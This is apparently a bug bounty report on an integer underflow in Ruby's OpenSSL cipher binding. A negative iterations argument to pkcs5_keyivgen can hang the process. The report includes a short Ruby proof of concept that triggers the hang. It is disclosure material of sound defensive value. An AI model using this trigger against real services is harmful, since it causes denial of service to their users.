Integer Underflow @ ossl_cipher_pkcs5_keyivgen
None
R
Ruby
Submitted None
Actions:
Reported by
finb
Vulnerability Details
Technical details and impact analysis
Integer Underflow @ ossl_cipher_pkcs5_keyivgen
file : ext/openssl/ossl_cipher.c
affected parameter: iterations
INFO
Generates and sets the key/IV based on a password.
call-seq:
```
cipher.pkcs5_keyivgen(pass, salt = nil, iterations = 2048, digest = "MD5") -> nil
```
ANALYSIS
iter(int) in ossl_cipher_pkcs5_keyivgen which holds iterations value is not validated before use.
therefore passed on to openssl library function EVP_BytesToKey which loops over
iter(iterations) using count
```
for (i = 1; i < (unsigned int)count; i++) {
if (!EVP_DigestInit_ex(c, md, NULL))
[code redacted]
]
```
if count aka iterations is negative this loop runs forever and therefore causing
ruby to hang and eat up memory since allocation are performed during
this loop and "i" can never be greater than count
POC
```
require 'digest'
require 'openssl'
require 'base64'
data = 'abc'
key = '1234567887654321'
iv = key[0..7]
cipher = OpenSSL::Cipher::Cipher.new('DES-EDE3-CBC') # or any other algorithm?
cipher.encrypt
cipher.pkcs5_keyivgen(key, iv, -1)
output = cipher.update(data)
output << cipher.final
```
CONFIGURATIONS
./ruby -v
ruby 2.6.0dev (2018-01-11 trunk 61764) [x86_64-linux]
openssl version
OpenSSL 1.0.1t 3 May 2016
## Impact
This result in a DDOS Attack
Report Details
Additional information and metadata
State
Closed
Substate
Informative
Submitted
Weakness
Integer Underflow